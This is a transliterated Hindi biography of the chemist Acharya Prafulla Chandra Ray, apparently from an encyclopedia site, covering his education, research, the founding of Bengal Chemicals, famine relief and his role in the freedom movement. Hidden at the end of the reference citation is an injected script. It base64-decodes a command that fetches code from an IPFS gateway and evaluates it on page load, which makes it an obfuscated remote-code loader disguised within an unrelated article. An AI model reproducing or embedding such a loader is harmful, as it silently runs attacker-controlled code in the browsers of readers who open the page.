प्रफुल्ल चंद्र राय
praphull chandr ray
| |
| poora nam | achary praphull chandr ray |
| any nam | achary ray, d aau. ray |
| janm | 2 agast, 1861 |
| janm bhoomi | rarauli gaanv, (baangladesh) |
| mrityu | 16 joon, 1944 |
| mrityu sthan | kalakatta (bharat) |
| abhibhavak | harishchandr ray aur bhuvanamohini devi |
| karm-kshetr | rasayanajn, udyami, shikshak |
| bhasha | baangla, aangrezi |
| shiksha | piech.di |
| vidyalay | presideansi k aaulej, kalakatta evan edinabara vishvavidyalay, sk aautalaiand |
| prasiddhi | bharat mean rasayan vijnan ke janak mane jate haian. |
| any janakari | yah svatantrata andolan mean ek sakriy bhagidar the. inhoanne asahayog andolan ke dauran bharatiy rashtriy kaangres ke rachanatmak karyoan mean muktahast arthik sahayata di. |
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achary praphull chandr ray (aangrezi: Prafulla Chandra Ray, janm: 2 agast, 1861; mrityu: 16 joon, 1944) bharat mean rasayan vijnan ke janak mane jate haian. ve ek sadagipasand tatha deshabhakt vaijnanik the, jinhoanne rasayan praudyogiki mean desh ke svavalanban ke lie apratim prayas kie. 'sada jivan uchch vichar' vale unake bahuayami vyaktitv se prabhavit hokar mahatma gaandhi ne kaha tha, "shuddh bharatiy paridhan mean aveshtit is saral vyakti ko dekhakar vishvas hi nahian hota ki vah ek mahanh vaijnanik ho sakata hai." praphullachandr ray ki pratibha itani vilakshan thi ki unaki atmakatha "laif end eksapiriyeanses aauf bangali kemist" (ek bangali rasayanajn ka jivan evan anubhav) ke prakashit hone par atipratishthit aantararashtriy vijnan patrika "nechar" ne unhean shraddhasuman arpit karate hue likha tha ki "lipibaddh karane ke lie sanbhavat: praphullachandr ray se adhik vishisht jivan charitr kisi aur ka ho hi nahian sakata."
jivan parichay
praphullachandr ray ka janm 2 agast, 1861 ee. mean jaisor zile ke rarauli gaanv mean hua tha. yah sthan ab baangladesh mean hai tatha khulna zile ke nam se jana jata hai. unake pita harishchandr ray is gaanv ke pratishthit zamiandar the. ve pragitashil tatha khule dimag ke vyakti the. achary ray ki maan bhuvanamohini devi bhi ek prakhar chetana-sampann mahila thian. jahir hai, praphull par inaka prabhav p da tha. achary ray ke pita ka apana pustakalay tha. unaka jhukav aangrezi shiksha ki or tha. isalie unhoanne apane gaanv mean ek m aaudal skool ki sthapana ki thi jisamean praphull ne prathamik shiksha payi. bad mean unhoanne albart skool mean dakhila liya. san 1871 mean praphull ne apane b de bhaee nalinikaant ke sath devid heyar ke skool mean pravesh liya. devid heyar khud shikshit nahian the parantu unhoanne bangal mean pashchimi shiksha ke prasar mean mahatvapoorn bhoomika nibhaee. ray ne apani atmakatha mean zikr kiya hai ki kis tarah heyar skool mean unake sahapathi unaki khilli u daya karate the. chhatr unhean 'bangal' upanam se chidhane the. ray us skool mean zyada din nahian padh sake. bimari ke karan unhean n sirph skool chho dana p da balki niyamit padhaee bhi chho d deni p di. lekin us dauran unhoanne aangrezi-klasiks aur baangla ki aitihasik aur sahityik rachanaoan ka adhyayan kiya.
prarambhik shiksha
achary ray ki adhyayan mean b di ruchi thi. ve barah sal ki umr mean hi char baje subah uth jate the. pathy-pustakoan ke alava ve itihas tatha jivaniyoan mean adhik ruchi rakhate the. 'chaimbars bayographi' unhoanne kee bar padhi thi. ve sar dablyoo. em. jons, j aaun leden aur unaki bhashayi upalabdhiyoan, tatha phraiankalin ke jivan se kafi prabhavit the. sanh 1879 mean unhoanne dasavian ki pariksha uttirn ki. phir age ki padhaee metropolitan k aaulej (ab vidyasagar k aaulej) mean shuroo ki. yah ek rashtriy shikshan sanstha thi tatha yahaan phis bhi kam thi. parantu vahaan dakhila unhoanne sirph arthik karanoan se nahian liya tha balki us samay poojaniy mane jane vale surendranath banarji vahaan aangrezi gady ke prophesar the aur prashaant kumar lahi di vahaan aangrezi kavita padhate the. us samay rasayan vijnan gyarahavian kaksha ka ek anivary vishay tha. vahian par pedalar mahashay ki utkrishth prayogatmak kshamata dekhakar dhire-dhire ve rasayan vijnan ki or unmukh hue. ab praphull chandr ray ne rasayan vijnan ko apana mukhy vishay banane ka nirnay kar liya tha. pas mean presideansi k aaulej mean vijnan ki padhaee ka achchha iantazam tha isalie vah bahari chhatr ke roop mean vahaan bhi jane lage.250px|thumb|left|achary praphull chandr ray
jagadish chandr basu se mitrata
praphull chandr ke man mean gilakraist chhatravritti ke imtahan mean baithane ki ichchha jagi. yah imtahan landan vishvavidyalay ki maitrik pariksha ke barabar mana jata tha. is imtahan mean laitin ya grik, tatha jarman bhashaoan ka jnan hona zaroori tha. apane bhasha-jnan ko azamane ka praphull ke lie yah achchha avasar tha. is imtahan mean saphal hone par unhean chhatravritti mil jati aur age ke adhyayan ke lie vah ianglaiand ja sakate the. akhir apani lagan evan mehanat se vah is pariksha mean kamayab rahe. is prakar ve ianglaiand ke lie ravana ho ge. naya desh, ne riti-rivaz, par praphullachandr in sabase zara bhi chiantit nahian hue. aangrezoan ki nakal utarana unhean pasand nahian tha, unhoanne choga aur chapakan banavaee aur isi vesh mean ianglaiand ge. us samay vahaan landan mean jagadish chandr basu adhyayan kar rahe the. ray aur basu mean paraspar mitrata ho gee.
uchch shiksha
praphull chandr ray ko edinabara vishvavidyalay mean adhyayan karana tha jo vijnan ki padhaee ke lie mashahoor tha. varsh 1885 mean unhoanne pi.ech.di ka shodhakary poora kiya. tadanantar 1887 mean "tamr aur maignishiyam samooh ke 'k aaunjugeted' salphetoan" ke bare mean kie ge unake karyoan ko manyata dete hue edinabara vishvavidyalay ne unhean di.es.si ki upadhi pradan ki. unake utkrisht karyoan ke lie unhean ek sal ki adhyetavritti mili tatha edinabara vishvavidyalay ki rasayan sosayati ne unako apana upadhyaksh chuna. tadoparant ve chhah sal bad bharat vapas ae. unaka uddeshy rasayan vijnan mean apana shodhakary jari rakhana tha. agast 1888 se joon 1889 ke bich lagabhag ek sal tak da. ray ko naukari nahian mili thi. yah samay unhoanne kalakatta mean jagadish chandr ke ghar par vyatit kiya. is dauran khali rahane par unhoanne rasayan vijnan tatha vanaspati vijnan ki pustakoan ka adhyayan kiya aur r aauksaborg ki 'phlora iandika' aur h aaukar ki 'jenera planteram' ki sahayata se kee pe d-paudhoan ki prajatiyoan ko pahachana evan sangrahit kiya.[1]
vyavasayik jivan
praphull chandr ray ko julaee 1889 mean presideansi k aaulej mean 250 rupaye masik vetan par rasayanavijnan ke sahayak prophesar ke pad par niyukt kiya gaya. yahian se unake jivan ka ek naya adhyay shuroo hua. sanh 1911 mean ve prophesar bane. usi varsh british sarakar ne unhean 'nait' ki upadhi se sammanit kiya. sanh 1916 mean ve presideansi k aaulej se rasayan vijnan ke vibhagadhyaksh ke pad se sevanivritt hue. phir 1916 se 1936 tak usi jagah emeritas prophesar ke taur par karyarat rahe. sanh 1933 mean kashi hindoo vishvavidyalay ke sansthapak pandit madan mohan malaviy ne achary praphull chandr ray ko di.es-si ki manad upadhi se vibhooshit kiya. ve desh videsh ke anek vijnan sangathanoan ke sadasy rahe.
amoniyam naitrait ka sanshleshan
ek din achary ray apani prayogashala mean pare aur tejab se prayog kar rahe the. isase markyooras naitret namak padarth banata hai. is prayog ke samay da. ray ko kuchh pile-pile kristal dikhaee die. vah padarth lavan bhi tha tatha naitret bhi. yah khoj b de mahattv ki thi. vaijnanikoan ko tab is padarth tatha usake gunadharmoan ke bare mean pata nahian tha. unaki khoj prakashit huee to duniya bhar mean da. ray ko khyati mili. unhoanne ek aur mahatvapoorn kary kiya tha. vah tha amoniyam naitrait ka usake vishuddh roop mean sanshleshan. isake pahale mana jata tha ki amoniyam naitrait ka teji se tapiy vighatan hota hai tatha yah asthayi hota hai. ray ne apane in nishkarshoan ko phir se landan ki kemikal sosayati ki baithak mean prastut kiya.[1]
svadeshi udyog ki nianv
us samay bharat ka kachcha mal sasti daroan par ianglaiand jata tha. vahaan se taiyar vastuean hamare desh mean ati thian aur ooanche damoan par bechi jati thian. is samasya ke nirakaran ke uddeshy se achary ray ne svadeshi udyog ki nianv dali. unhoanne 1892 mean apane ghar mean hi ek chhota-sa karakhana nirmit kiya. unaka manana tha ki isase berozagar yuvakoan ko madad milegi. isake lie unhean kathin parishram karana p da. ve har din k aaulej se sham tak lautate, phir karakhane ke kam mean lag jate. yah sunishchit karate ki pahale ke ardar poore hue ki nahian. d aau. ray ko is kary mean thakan ke bavajood anand ata tha. unhoanne ek laghu udyog ke roop mean desi samagri ki madad se aushadhiyoan ka nirman shuroo kiya. bad mean isane ek b de karakhane ka svaroop grahan kiya jo aj "bangal kemikals aind pharmasyootikal varks" ke nam se suprasiddh hai. unake dvara sthapit svadesi udyogoan mean saudepur mean gandhak se tejab banane ka karakhana, kalakatta p aautari varks, bangal enamel varks, tatha stim nevigeshan, pramukh haian.[1]
vyaktittv
achary ray ko gramy jivan bahut akarshit karata tha. ve aksar graminoan se unaka sukh-du:kh, halachal liya karate the. ve apani maan ke bhandare se achchhi achchhi khadyasamagri le jakar graminoan mean baant dete the. sanh 1922 ke bangal ke akal ke dauran ray ki bhoomika avismaraniy hai. 'mainachestar gardiyan' ke ek sanvadadata ne likha tha; “in paristhitiyoan mean rasayan vijnan ke ek prophesar pi. si. ray samane ae aur unhoanne sarakar ki chook ko sudharane ke lie deshavasiyoan ka ahvan kiya. unake is ahvan ko kafi utsahajanak pratisad mila. bangal ki janata ne ek mahine mean hi tin lakh roope ki madad ki. dhanadhy parivar ki mahilaoan ne silk ke vastr evan gahane tak dan kar die. saik doan yuvaoan ne gaanvoan mean logoan ko sahayata samagri vitarit ki. d aau. ray ki apil ka itana utsahajanak pratyuttar milane ka ek karan to bangal ki janata ke man mean maujood videshi sarakar ko dhikkarane ki ichchha thi. isaka aanshik karan pi ditoan ke prati upaji svabhavik sahanubhooti thi, par kafi had tak usaka karan pi. si. ray ka asadharan vyaktitv evan unaki samajik pratishtha thi. vah achchhe shikshak ke sath ek saphal sangathanakarta bhi the.[1]
svatantrata aandolan mean yogadan
achary ray ne svatantrata aandolan mean bhi sakriy bhagidari nibhaee. gopal krishna gokhale se lekar mahatma gaandhi tak se unaka milana julana tha. kalakatta mean gaandhi ji ki pahali sabha karane ka shrey da. ray ko hi jata hai. ray ek sachche deshabhakt the unaka kahana tha;- "vijnan pratiksha kar sakata hai, par svaraj nahian". vah svatantrata andolan mean ek sakriy bhagidar the. unhoanne asahayog andolan ke dauran bharatiy rashtriy kaangres ke rachanatmak karyoan mean muktahast arthik sahayata di. unhoanne apane ek bhashan mean kaha tha- "maian rasayanashala ka prani hooan. magar aise bhi mauke ate haian jab vakt ka takaza hota hai ki test-tyoob chho dakar desh ki pukar suni jae".
shodh granth
[[chitr:India-1961-birth-centenary-of-prafulla-chandra-ray-postal-stamp.jpg|thumb|samman mean jari dak tikat]] shodh sambandhi jarnaloan mean ray ke lagabhag 200 parache prakashit hue. isake alava unhoanne kee durlabh bharatiy khanijoan ko soochibaddh kiya. unaka uddeshy meandaliph ki avart sarani mean chhoote hue tatvoan ko khojana tha. unaka yogadan sirph rasayan vijnan sambandhi khojoan tatha lekhoan tak simit nahian hai. unhoanne anek yuvakoan ko rasayan vijnan ki taraph prerit kiya. achary ray ne ek aur mahattvapoorn kam kiya. unhoanne do khandoan mean 'histri aauf hindoo kemistri' namak mahattvapoorn granth likha. isase duniya ko pahali bar yah janakari mili ki prachin bharat mean rasayan vijnan kitana samunnat tha. isaka pratham khand sanh 1902 mean prakashit hua tatha dvitiy khand 1908 mean. in kritiyoan ko rasayan vijnan ke ek anoothe avadan ke roop mean mana jata hai. achary ray ne baangla tatha aangrezi, donoan bhashaoan mean lekhan kiya. san 1893 mean unhoanne 'simpal zualaji' namak pustak likhi, jisake lie unhoanne jiv vijnan ki manak pustakean padhian, tatha chi diyagharoan aur sangrahalayoan ka svayan daura kiya. unhoanne 'basumati', 'bharatavarsh', 'bangabani', 'baanglarabani', 'pravasi', 'anandabazar patrika' aur 'manasi' jaisi patrikaoan mean bahut sare lekh likhe. aisa kaha jata hai ki unhoanne apani ay ka 90 pratishat dan kar diya. sanh 1922 mean unhoanne mahanh bharatiy kimiyagar nagarjun ke nam par varshik puraskar shuroo karane ke le das hazar rupaye die. san 1936 mean unhoanne ashutosh mukharji ke nam par bhi ek shodh-puraskar shuroo karane ke lie das hazar die. kalakatta vishvavidyalay ko unhoanne rasayan vibhag ke vistar tatha vikas ke lie 1,80,000 roope ka anudan diya.[1]
nidhan
achary praphullachandr ray ka 16 joon, 1944 ko kalakatta mean dehavasan ho gaya. unake bare mean yoonivarsiti k aaulej aph saians, landan ke prophesar eph. ji. donan ne likha tha : "sar pi. si. ray jivan bhar keval ek sankirn dayare mean bandhe prayogashala-visheshajn ban kar nahian rahe. apane desh ki tarakki tatha atmanirbharata hamesha unake adarsh rahe. unhoanne apane lie kuchh nahian chaha, tatha sadagi evan mitavyayita ka kathor jivan jiya. rashtr evan samaj seva unake lie sarvopari rahe. ve bharatiy vijnan ke praneta the". unhoanne sannyast tatha vrati ka jivan bitaya. unhoanne parivar nahian basaya, tatha ajivan avivahit rahe. saansarik bandhanoan tatha mohamaya evan parigrah se apane ko kosoan door rakha. apane dehavasan se poorv achary praphull chandr ray ne apani samast sanpatti samajik karyoan ke lie dan kar di thi. aisa tha rrishituly evan preranadayi unaka vyaktitv evan krititv. sachamuch, ve bharatiy vijnan jagath ke jvajalyaman nakshatr haian.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 1.5 achary praphullachandr ray (hiandi) shaikshik ee-samagri. abhigaman tithi: 16 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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